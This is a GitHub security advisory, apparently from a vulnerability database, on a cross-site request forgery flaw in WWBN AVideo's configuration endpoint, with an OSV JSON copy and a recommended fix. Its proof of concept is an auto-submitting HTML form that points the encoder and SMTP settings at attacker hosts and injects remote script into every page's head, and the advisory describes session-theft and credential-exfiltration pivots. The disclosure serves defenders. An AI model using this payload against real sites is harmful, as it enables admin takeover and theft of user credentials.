GHSA-VVFW-4M39-FJQF
Vulnerability from github – Published: 2026-04-14 23:12 – Updated: 2026-04-14 23:12Summary
objects/configurationUpdate.json.php (also routed via /updateConfig) persists dozens of global site settings from $_POST but protects the endpoint only with User::isAdmin(). It does not call forbidIfIsUntrustedRequest(), does not verify a globalToken, and does not validate the Origin/Referer header. Because AVideo intentionally sets session.cookie_samesite=None to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site <head> HTML, logo, favicon, contact email, and more in a single request.
Details
The entire authorization and CSRF check for the endpoint is this block at objects/configurationUpdate.json.php:10:
require_once $global['systemRootPath'] . 'objects/user.php';
if (!User::isAdmin()) {
die('{"error":"' . __("Permission denied") . '"}');
}
Immediately after, $_POST values are written straight into the global AVideoConf object and persisted:
// objects/configurationUpdate.json.php
$config = new AVideoConf();
$config->setContactEmail($_POST['contactEmail']); // :21
$config->setLanguage($_POST['language']); // :22
$config->setWebSiteTitle($_POST['webSiteTitle']); // :23
$config->setDescription($_POST['description']); // :24
$config->setAuthCanComment($_POST['authCanComment']); // :25
$config->setAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26
// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):
$config->setEncoderURL($_POST['encoder_url']); // :32
$config->setSmtp($_POST['smtp']); // :33
$config->setSmtpAuth($_POST['smtpAuth']); // :34
$config->setSmtpSecure($_POST['smtpSecure']); // :35
$config->setSmtpHost($_POST['smtpHost']); // :36
$config->setSmtpUsername($_POST['smtpUsername']); // :37
$config->setSmtpPassword($_POST['smtpPassword']); // :38
$config->setSmtpPort($_POST['smtpPort']); // :39
$config->setHead($_POST['head']); // :42
// ...
// Logo / favicon writes:
$fileData = base64DataToImage($_POST['logoImgBase64']); // :68
file_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71
// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)
echo '{"status":"' . $config->save() . '", ...}'; // :130
Why CSRF actually lands
-
SameSite is intentionally
None.objects/include_config.php:144setsini_set('session.cookie_samesite', 'None')and the adjacent comment states the design: "SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken)." This endpoint enforces no such token. -
Project already ships a CSRF primitive and uses it elsewhere.
objects/functionsSecurity.php:138definesforbidIfIsUntrustedRequest(), and the peer admin endpointobjects/userUpdate.json.php:18calls it explicitly.configurationUpdate.json.phphas no such call — grepping the file confirms noforbidIfIsUntrustedRequest,verifyToken,globalToken, or Origin/Referer check. -
The request is CORS-simple. The admin UI submits with jQuery
$.ajax(...type: 'post', data: {...})(seeview/configurations_body.php:753), which sendsapplication/x-www-form-urlencoded. That content type is a CORS "simple" request — no preflight — so any third-party origin can trigger it from a<form>with the admin's session cookie attached. -
Reachable via two paths. Direct
POST /objects/configurationUpdate.json.phpworks, and.htaccess:459also exposes it atPOST /updateConfig.
Impact primitives unlocked by a single CSRF request
setEncoderURL()— redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion inaVideoEncoder.json.php/videoAddNew.json.php) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.setSmtpHost/Username/Password/Port/Secure/Auth— the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.setHead()— attacker-chosen raw HTML is injected into every page's<head>, giving persistent site-wide stored XSS (e.g.<script src="https://attacker/evil.js"></script>) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.logoImgBase64/faviconBase64— attacker-controlled bytes arefile_put_contents-ed into the web root undervideos/userPhoto/logo.pngandvideos/favicon.png.setContactEmail,setWebSiteTitle,setAuthCanUploadVideos,setAllow_download,setSession_timeout,setAdsense,setDisable_analytics— full site policy and branding control.
PoC
- Attacker hosts
evil.htmlon any origin:
<!doctype html>
<html><body>
<form id="x" action="https://victim.example.com/objects/configurationUpdate.json.php"
method="POST" enctype="application/x-www-form-urlencoded">
<input name="contactEmail" value="attacker@evil.com">
<input name="language" value="en">
<input name="webSiteTitle" value="Pwned">
<input name="description" value="x">
<input name="authCanComment" value="1">
<input name="authCanUploadVideos" value="1">
<input name="authCanViewChart" value="1">
<input name="disable_analytics" value="0">
<input name="allow_download" value="1">
<input name="session_timeout" value="3600">
<input name="encoder_url" value="https://attacker.example.com/Encoder/">
<input name="smtp" value="1">
<input name="smtpAuth" value="1">
<input name="smtpSecure" value="tls">
<input name="smtpHost" value="smtp.attacker.com">
<input name="smtpUsername" value="attacker">
<input name="smtpPassword" value="password">
<input name="smtpPort" value="587">
<input name="head" value='<script src="https://attacker.example.com/evil.js"></script>'>
<input name="adsense" value="x">
<input name="autoplay" value="1">
<input name="theme" value="default">
</form>
<script>document.getElementById('x').submit();</script>
</body></html>
-
Any user authenticated as AVideo administrator (
User::isAdmin()true) visitshttps://attacker.example.com/evil.html. Their browser submits the form cross-origin; becausesession.cookie_samesite=None,PHPSESSIDis included; because it's anapplication/x-www-form-urlencodedPOST, no preflight is sent. -
Server-side check at
configurationUpdate.json.php:10passes (User::isAdmin()is true for the victim), and the body reaches$config->save()at:130. Response:json {"status":"1","respnseLogo":[],"respnseFavicon":null}The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected<script>in the rendered<head>, and by inspectingvideos/configuration.php/ theconfigurationstable. -
Stored-XSS pivot: every subsequent visitor (including other admins) now executes
https://attacker.example.com/evil.jsfrom the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts. -
SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to
smtp.attacker.com:587withattacker:password, and any future mail from AVideo is observable by the attacker.
Impact
- Full site configuration takeover from a single cross-origin form submission against any logged-in administrator.
- Persistent stored XSS site-wide via
setHead(), affecting every visitor and enabling session hijack of other admins and users. - Credential / reset-token exfiltration via attacker-controlled SMTP relay.
- Encoder pipeline hijack: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.
- Arbitrary file write under web root via
logoImgBase64/faviconBase64. - No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.
Recommended Fix
Call the existing CSRF primitive immediately after the admin check, matching what objects/userUpdate.json.php:18 already does:
// objects/configurationUpdate.json.php
require_once $global['systemRootPath'] . 'objects/user.php';
require_once $global['systemRootPath'] . 'objects/functionsSecurity.php';
if (!User::isAdmin()) {
die('{"error":"' . __("Permission denied") . '"}');
}
forbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check
Preferably also require a short-lived globalToken (verifyToken($_REQUEST['globalToken'])) as include_config.php:140-143 prescribes, and update view/configurations_body.php to include that token in the AJAX payload. Audit all other objects/*.json.php state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-352"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T23:12:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site\u0027s encoder URL, SMTP credentials, site `\u003chead\u003e` HTML, logo, favicon, contact email, and more in a single request.\n\n## Details\n\nThe entire authorization and CSRF check for the endpoint is this block at `objects/configurationUpdate.json.php:10`:\n\n```php\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/user.php\u0027;\nif (!User::isAdmin()) {\n die(\u0027{\"error\":\"\u0027 . __(\"Permission denied\") . \u0027\"}\u0027);\n}\n```\n\nImmediately after, `$_POST` values are written straight into the global `AVideoConf` object and persisted:\n\n```php\n// objects/configurationUpdate.json.php\n$config = new AVideoConf();\n$config-\u003esetContactEmail($_POST[\u0027contactEmail\u0027]); // :21\n$config-\u003esetLanguage($_POST[\u0027language\u0027]); // :22\n$config-\u003esetWebSiteTitle($_POST[\u0027webSiteTitle\u0027]); // :23\n$config-\u003esetDescription($_POST[\u0027description\u0027]); // :24\n$config-\u003esetAuthCanComment($_POST[\u0027authCanComment\u0027]); // :25\n$config-\u003esetAuthCanUploadVideos($_POST[\u0027authCanUploadVideos\u0027]); // :26\n// Advanced (default enabled \u2014 $global[\u0027disableAdvancedConfigurations\u0027] is empty by default):\n$config-\u003esetEncoderURL($_POST[\u0027encoder_url\u0027]); // :32\n$config-\u003esetSmtp($_POST[\u0027smtp\u0027]); // :33\n$config-\u003esetSmtpAuth($_POST[\u0027smtpAuth\u0027]); // :34\n$config-\u003esetSmtpSecure($_POST[\u0027smtpSecure\u0027]); // :35\n$config-\u003esetSmtpHost($_POST[\u0027smtpHost\u0027]); // :36\n$config-\u003esetSmtpUsername($_POST[\u0027smtpUsername\u0027]); // :37\n$config-\u003esetSmtpPassword($_POST[\u0027smtpPassword\u0027]); // :38\n$config-\u003esetSmtpPort($_POST[\u0027smtpPort\u0027]); // :39\n$config-\u003esetHead($_POST[\u0027head\u0027]); // :42\n// ...\n// Logo / favicon writes:\n$fileData = base64DataToImage($_POST[\u0027logoImgBase64\u0027]); // :68\nfile_put_contents($global[\u0027systemRootPath\u0027] . $photoURL, $fileData); // :71\n// favicon base64 \u2192 file_put_contents \u2192 ImageMagick `convert` invocation (:88-120)\necho \u0027{\"status\":\"\u0027 . $config-\u003esave() . \u0027\", ...}\u0027; // :130\n```\n\n### Why CSRF actually lands\n\n1. **SameSite is intentionally `None`.** `objects/include_config.php:144` sets `ini_set(\u0027session.cookie_samesite\u0027, \u0027None\u0027)` and the adjacent comment states the design: *\"SameSite=None is intentional: AVideo supports cross-origin iframe embedding\u2026 All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* This endpoint enforces no such token.\n\n2. **Project already ships a CSRF primitive and uses it elsewhere.** `objects/functionsSecurity.php:138` defines `forbidIfIsUntrustedRequest()`, and the peer admin endpoint `objects/userUpdate.json.php:18` calls it explicitly. `configurationUpdate.json.php` has no such call \u2014 grepping the file confirms no `forbidIfIsUntrustedRequest`, `verifyToken`, `globalToken`, or Origin/Referer check.\n\n3. **The request is CORS-simple.** The admin UI submits with jQuery `$.ajax(...type: \u0027post\u0027, data: {...})` (see `view/configurations_body.php:753`), which sends `application/x-www-form-urlencoded`. That content type is a CORS \"simple\" request \u2014 no preflight \u2014 so any third-party origin can trigger it from a `\u003cform\u003e` with the admin\u0027s session cookie attached.\n\n4. **Reachable via two paths.** Direct `POST /objects/configurationUpdate.json.php` works, and `.htaccess:459` also exposes it at `POST /updateConfig`.\n\n### Impact primitives unlocked by a single CSRF request\n\n- **`setEncoderURL()`** \u2014 redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in `aVideoEncoder.json.php` / `videoAddNew.json.php`) to the attacker\u0027s server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.\n- **`setSmtpHost/Username/Password/Port/Secure/Auth`** \u2014 the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker\u0027s SMTP relay, harvesting reset tokens and user credentials.\n- **`setHead()`** \u2014 attacker-chosen raw HTML is injected into every page\u0027s `\u003chead\u003e`, giving persistent site-wide stored XSS (e.g. `\u003cscript src=\"https://attacker/evil.js\"\u003e\u003c/script\u003e`) that fires in every visitor\u0027s browser including the admin, enabling session theft of arbitrary users.\n- **`logoImgBase64` / `faviconBase64`** \u2014 attacker-controlled bytes are `file_put_contents`-ed into the web root under `videos/userPhoto/logo.png` and `videos/favicon.png`.\n- **`setContactEmail`, `setWebSiteTitle`, `setAuthCanUploadVideos`, `setAllow_download`, `setSession_timeout`, `setAdsense`, `setDisable_analytics`** \u2014 full site policy and branding control.\n\n## PoC\n\n1. Attacker hosts `evil.html` on any origin:\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=\"x\" action=\"https://victim.example.com/objects/configurationUpdate.json.php\"\n method=\"POST\" enctype=\"application/x-www-form-urlencoded\"\u003e\n \u003cinput name=\"contactEmail\" value=\"attacker@evil.com\"\u003e\n \u003cinput name=\"language\" value=\"en\"\u003e\n \u003cinput name=\"webSiteTitle\" value=\"Pwned\"\u003e\n \u003cinput name=\"description\" value=\"x\"\u003e\n \u003cinput name=\"authCanComment\" value=\"1\"\u003e\n \u003cinput name=\"authCanUploadVideos\" value=\"1\"\u003e\n \u003cinput name=\"authCanViewChart\" value=\"1\"\u003e\n \u003cinput name=\"disable_analytics\" value=\"0\"\u003e\n \u003cinput name=\"allow_download\" value=\"1\"\u003e\n \u003cinput name=\"session_timeout\" value=\"3600\"\u003e\n \u003cinput name=\"encoder_url\" value=\"https://attacker.example.com/Encoder/\"\u003e\n \u003cinput name=\"smtp\" value=\"1\"\u003e\n \u003cinput name=\"smtpAuth\" value=\"1\"\u003e\n \u003cinput name=\"smtpSecure\" value=\"tls\"\u003e\n \u003cinput name=\"smtpHost\" value=\"smtp.attacker.com\"\u003e\n \u003cinput name=\"smtpUsername\" value=\"attacker\"\u003e\n \u003cinput name=\"smtpPassword\" value=\"password\"\u003e\n \u003cinput name=\"smtpPort\" value=\"587\"\u003e\n \u003cinput name=\"head\" value=\u0027\u003cscript src=\"https://attacker.example.com/evil.js\"\u003e\u003c/script\u003e\u0027\u003e\n \u003cinput name=\"adsense\" value=\"x\"\u003e\n \u003cinput name=\"autoplay\" value=\"1\"\u003e\n \u003cinput name=\"theme\" value=\"default\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById(\u0027x\u0027).submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n2. Any user authenticated as AVideo administrator (`User::isAdmin()` true) visits `https://attacker.example.com/evil.html`. Their browser submits the form cross-origin; because `session.cookie_samesite=None`, `PHPSESSID` is included; because it\u0027s an `application/x-www-form-urlencoded` POST, no preflight is sent.\n\n3. Server-side check at `configurationUpdate.json.php:10` passes (`User::isAdmin()` is true for the victim), and the body reaches `$config-\u003esave()` at `:130`. Response:\n ```json\n {\"status\":\"1\",\"respnseLogo\":[],\"respnseFavicon\":null}\n ```\n The site-wide configuration is now rewritten with attacker-chosen values \u2014 verifiable by visiting any page and seeing the injected `\u003cscript\u003e` in the rendered `\u003chead\u003e`, and by inspecting `videos/configuration.php` / the `configurations` table.\n\n4. Stored-XSS pivot: every subsequent visitor (including other admins) now executes `https://attacker.example.com/evil.js` from the victim site\u0027s origin, yielding session theft / full admin takeover on what were previously unrelated accounts.\n\n5. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to `smtp.attacker.com:587` with `attacker:password`, and any future mail from AVideo is observable by the attacker.\n\n## Impact\n\n- **Full site configuration takeover** from a single cross-origin form submission against any logged-in administrator.\n- **Persistent stored XSS site-wide** via `setHead()`, affecting every visitor and enabling session hijack of other admins and users.\n- **Credential / reset-token exfiltration** via attacker-controlled SMTP relay.\n- **Encoder pipeline hijack**: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.\n- **Arbitrary file write under web root** via `logoImgBase64` / `faviconBase64`.\n- No bypass of admin auth is needed \u2014 the attacker uses the victim admin\u0027s own authenticated session; only a single visit to an attacker-controlled link is required.\n\n## Recommended Fix\n\nCall the existing CSRF primitive immediately after the admin check, matching what `objects/userUpdate.json.php:18` already does:\n\n```php\n// objects/configurationUpdate.json.php\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/user.php\u0027;\nrequire_once $global[\u0027systemRootPath\u0027] . \u0027objects/functionsSecurity.php\u0027;\nif (!User::isAdmin()) {\n die(\u0027{\"error\":\"\u0027 . __(\"Permission denied\") . \u0027\"}\u0027);\n}\nforbidIfIsUntrustedRequest(\u0027configurationUpdate\u0027); // same-origin / CSRF token check\n```\n\nPreferably also require a short-lived `globalToken` (`verifyToken($_REQUEST[\u0027globalToken\u0027])`) as `include_config.php:140-143` prescribes, and update `view/configurations_body.php` to include that token in the AJAX payload. Audit all other `objects/*.json.php` state-mutating endpoints for the same omission \u2014 the pattern is structural and likely present on more endpoints.",
"id": "GHSA-vvfw-4m39-fjqf",
"modified": "2026-04-14T23:12:30Z",
"published": "2026-04-14T23:12:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-vvfw-4m39-fjqf"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/f9492f5e6123dff0292d5bb3164fde7665dc36b4"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.